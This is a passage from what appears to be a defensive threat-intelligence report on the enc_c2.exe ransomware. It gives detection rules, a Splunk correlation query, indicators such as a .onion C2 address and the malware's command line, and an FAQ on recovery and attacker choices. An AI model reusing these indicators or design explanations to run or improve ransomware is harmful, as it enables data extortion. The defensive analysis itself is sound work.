  - Proxy log inspection (HTTP Host header matching *.onion)
  - DNS query monitoring (DNS requests for .onion domains)
  - TLS SNI monitoring (Client Hello packets with .onion SNI)
Alert Threshold: Single .onion domain access = MEDIUM severity
Alert Threshold: rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion = CRITICAL severity

SOCKS Proxy Activity Detection:

enc_c2.exe likely uses Tor client (embedded or system-level) with SOCKS proxy:

Detection Target: SOCKS proxy connections from processes
Implementation:
  - Monitor for localhost:9050 or 9150 connections
  - Detect via: Process network telemetry (NetFlow), host-based network monitoring
  - Alert on: Non-standard processes initiating SOCKS connections
Alert Threshold: Any process other than Tor client -> MEDIUM severity
Alert Threshold: HTTP client library (ureq) connecting to SOCKS -> HIGH severity

Host-Based Detection

File Encryption Pattern Detection (CRITICAL):

Detection: Rapid file modifications with extension appending
Indicator: Process writing >100 files in <60 seconds with systematic extension changes
Behavior: Original extension preserved, .locked appended (document.docx.locked)
Implementation:
  - EDR file write monitoring
  - File integrity monitoring (Tripwire, Samhain)
  - Process behavior analysis (YARA/Sigma rules)
Alert Threshold: >50 files modified in <10 minutes with .locked extension = CRITICAL

Behavioral Indicators:

Process Behavior Indicators:

Suspicious Command Line: enc_c2.exe --folder C:\Users\Victim\Documents --bid AFFILIATE_001
Suspicious CLI Pattern: Process named enc_c2.exe with --folder or --c2 arguments

Suspicious Network:
  - Process initiating SOCKS connections
  - Process connecting to .onion domains via HTTP
  - JSON payload in HTTP POST containing "encryption_key"

SIEM Correlation Rules

Multi-Stage Detection (Highest Fidelity):

Stage 1: Malware Execution

enc_c2.exe process creation
  -> Log source: Process creation events (EDR, Sysmon)
  -> Alert severity: HIGH
  -> Confidence: HIGH (specific filename match)

Stage 2: File Encryption Activity

Process (enc_c2.exe or suspicious parent) writing .locked files
  -> Log source: File write monitoring (EDR, file integrity monitoring)
  -> Time correlation: Within 5 minutes of process creation
  -> Alert severity: CRITICAL
  -> Confidence: CRITICAL (encryption pattern match)

Stage 3: C2 Communication (Optional but High-Value)

Outbound HTTP POST to rustydl5ak6p6ajqnja6qzkxvp5huhe4olpdsq5oy75ea4o34aalpkqd.onion
  -> Log source: Proxy logs, NetFlow, network monitoring
  -> Time correlation: Same timestamp or within 1 minute of file encryption start
  -> HTTP body contains: JSON payload with encryption_key, victim_id, builder_id fields
  -> Alert severity: CRITICAL
  -> Confidence: CRITICAL (C2 domain + JSON payload structure)

Multi-Event Correlation Alert (Splunk SPL Example):

index=sysmon EventID=1 CommandLine="*enc_c2.exe*" OR Image="*enc_c2.exe"
| stats earliest(_time) as first_exec by host, Image
| eval exec_window=first_exec+300
| join host [search index=sysmon EventID=11 TargetFilename="*.locked"
  | where _time > exec_window | stats count as locked_files by host]
| where locked_files > 50

Section 8: Key Takeaways

What Matters Most

1. Encryption Key Exfiltration is the Critical Vulnerability

• Key Finding: Encryption key transmitted to Tor C2 BEFORE or DURING encryption
• Implication: Attacker maintains exclusive decryption capability; victim is locked out permanently
• Defense: Network monitoring for Tor traffic + C2 beacon interception is ONLY viable real-time defense
• Takeaway: Prevention (stop malware execution) > Detection (catch encryption in progress) > Response (offline backup restoration)

2. Offline Backup Strategy is The Primary Recovery Mechanism

• Reality: No feasible decryption without C2 interception or attacker payment
• Evidence: ChaCha20 is cryptographically secure; brute force infeasible
• Implication: Offline, immutable backups are essential; test restoration procedures regularly
• Takeaway: Backup strategy resilience determines actual recovery time after incident

3. TEST_BUILD_001 Indicates Active Development with Potential Variants

• Concern: Beta/test designation suggests production variants may have enhanced capabilities
• Risk: Unknown features may be present that static analysis did not identify
• Implication: Assume additional Arsenal-237 samples circulating with improved evasion
• Takeaway: Continue threat hunting; identify related samples before deployment

4. Tor Infrastructure Provides Resilient C2 Anonymity

• Challenge: Takedown of C2 infrastructure is difficult (distributed, anonymous)
• Implication: Attacker maintains long-term operations capability; cannot be disrupted via infrastructure takedown
• Defensive Position: Focus on prevention (stop malware execution) and early detection (network blocking)
• Takeaway: Tor blocking at network perimeter is feasible and effective control

5. Selective File Encryption Preserves System Functionality

• Strategic: .exe exclusion ensures victim can still negotiate payment
• Effect: Victim can execute applications, access internet, contact attacker
• Implication: System remains partially functional; complicates detection (may not trigger emergency response)
• Takeaway: Behavioral detection (file extension patterns, encryption speed) required; technical staff must monitor for .locked files proactively

Section 9: Confidence Levels Summary

Confidence Assessment Framework

All findings in this report include evidence-based confidence ratings. Here’s what they mean:

CONFIRMED (95-100% Confidence)

• Direct observation from static analysis
• Code inspection or decompilation evidence
• Binary string/artifact verification
• Examples: ChaCha20 encryption, C2 URL, TEB anti-debug check

HIGHLY LIKELY / HIGH CONFIDENCE (80-95%)

• Strong technical indicators with minimal alternative explanations
• Single credible source corroboration
• Reasonable inference from confirmed findings
• Examples: RaaS operational model, professional development capability, Linux compilation environment

LIKELY / MODERATE CONFIDENCE (60-80%)

• Reasonable analytical conclusion from evidence
• Circumstantial indicators from multiple sources
• Single trusted vendor source
• Examples: Arsenal-237 toolkit association, target profile assessment

POSSIBLE / LOW CONFIDENCE (40-60%)

• Speculative assessment based on weak indicators
• Multiple alternative explanations exist
• Inference from incomplete evidence
• Examples: Specific threat actor attribution, development team location

INSUFFICIENT DATA (<40%)

• Not enough evidence for analytical conclusion
• Examples: Nonce handling strategy, original file deletion method, victim ID generation algorithm

Section 11: FAQ - Addressing Common Questions

Q1: “Can we decrypt files without paying the attacker?”

Extremely unlikely; recovery requires offline backups or C2 beacon interception during live infection.

ChaCha20 encryption with a 256-bit key is cryptographically secure. Brute force requires 2^256 possible keys - computationally infeasible (estimated 10^57 years with current technology). Cryptanalysis has no known attacks better than exhaustive search. The only viable non-payment recovery paths are:

1. C2 Interception: If encryption key captured from JSON beacon during C2 communication, independent decryption is possible
2. Backup Restoration: Restore from offline, pre-infection backups (removes encrypted files but recovers data from restoration point)
3. Nonce Vulnerability: If malware implementation reused encryption nonces, cryptanalysis might enable decryption (unlikely with aead-0.5.2 library)

Tested offline backup restoration is the only recovery path that does not run through the attacker.

Q2: “What does TEST_BUILD_001 mean?”

Indicates this is a beta/test variant; production versions may be more sophisticated.

The builder ID “TEST_BUILD_001” appears hardcoded in the binary as the default value. This suggests:

• Development/testing phase rather than production deployment
• Potential for debugging features, predictable key generation, or incomplete evasion
• Active development - production variants may address current limitations

Further variants should be assumed to be circulating, so hunting for them is worth continuing. Each new sample may carry enhanced capabilities, whether better anti-analysis, faster encryption or lateral movement.

Q3: “Can we just pay the ransom and recover the files?”

Possible but not guaranteed; involves significant risk and financial commitment.

Ransomware-as-a-service (RaaS) operators have financial incentive to honor payment agreements (reputation/repeat business), but guarantees are non-existent:

• Decryption tools may not work (buggy implementation, corrupted key delivery)
• Attacker may demand additional payment after initial ransom
• Decryption may be slow (hours to days for large file counts)
• Payment may not be tax-deductible (consult legal/accounting counsel)
• Payment enables future attacker operations (indirect support for criminals)

Ransom negotiation carries legal exposure as well as financial exposure, and many jurisdictions publish guidance on the legality and the risk of paying.

Q4: “Why would attackers exclude .exe files?”

Preserves system functionality; ensures victim can negotiate payment and access decryption tools.

If all executable files encrypted, victim system becomes completely unusable:

• Operating system would not boot
• User could not run any applications
• Internet access might be unavailable (network drivers encrypted)
• Victim could not contact attacker or access ransom instructions

By excluding .exe files, attackers maintain victim system functionality while rendering data inaccessible. This maximizes ransom payment pressure because:

• Victim can still operate the system (painful but functional)
• Victim can access internet and respond to payment demands
• Victim can run decryption tools post-payment

Q5: “Why use Tor for C2 instead of direct IP address?”

Anonymity and infrastructure resilience; enables long-term operations despite law enforcement.

Tor hidden services provide multiple advantages for attacker infrastructure:

• Anonymity: Server IP address is hidden; attacker location unidentifiable
• Resilience: Distributed Tor network means no single server to shut down
• Law Enforcement Resistance: Difficult to obtain court orders against .onion infrastructure
• Operational Longevity: Enable multi-year operations (compare to traditional C2 that gets shut down in weeks/months)

The tradeoff: .onion domains require Tor connectivity, which is detectable at network perimeter. Organizations can block Tor traffic entirely to prevent C2 communication.

Q6: “Is this a state-sponsored attack?”

Unknown; no direct evidence points to nation-state actors.

Sophistication indicators (Rust language, ChaCha20 crypto, Tor C2) could indicate either:

• Professional Criminal Group: Well-resourced cybercriminal organization (likely)
• State Sponsor: Nation-state actor conducting financial motivation operations (less likely for pure ransomware)

Evidence Assessment:

• Suggests Professional Criminals: Financial focus (ransom extortion), RaaS model, profit-oriented infrastructure
• Against State Sponsor: No evidence of data exfiltration beyond encryption key, no strategic/espionage motivation indicators
• Neutral Indicators: Modern development practices (Rust), sophisticated architecture (both criminal and state actors do this)

I read this as an organized criminal group rather than a state sponsor, at around 70 percent. The Arsenal-237 toolkit design, multi-sample with RaaS builder tracking, points to a profit-focused operation.

Section 12: Final Assessment

Threat Summary

enc_c2.exe represents a CRITICAL threat combining modern cryptographic implementation with sophisticated anonymity infrastructure. The malware’s operational model (RaaS with builder tracking) indicates organized, professional threat actors with sustained development capability.

Why This Threat Requires Immediate Action:

1. Cryptographically Secure Data Loss: ChaCha20 ensures encryption is irreversible without attacker cooperation
2. Key Exfiltration Monopoly: Attacker maintains exclusive decryption capability
3. Rapid Encryption Speed: Modern Rust implementation with streaming cipher enables fast data destruction
4. Anonymity Infrastructure: Tor-based C2 prevents infrastructure disruption via law enforcement takedown
5. Active Development: TEST_BUILD_001 designation suggests variants with potential enhanced capabilities

Operational Urgency: If enc_c2.exe is present in your environment, every minute of delay increases data loss scope. Detection window is narrow (encryption occurs in minutes to hours); prevention and early detection are the only viable strategies.

License

(c) 2026 Threat Intelligence Team. All rights reserved. Free to read, but reuse requires written permission.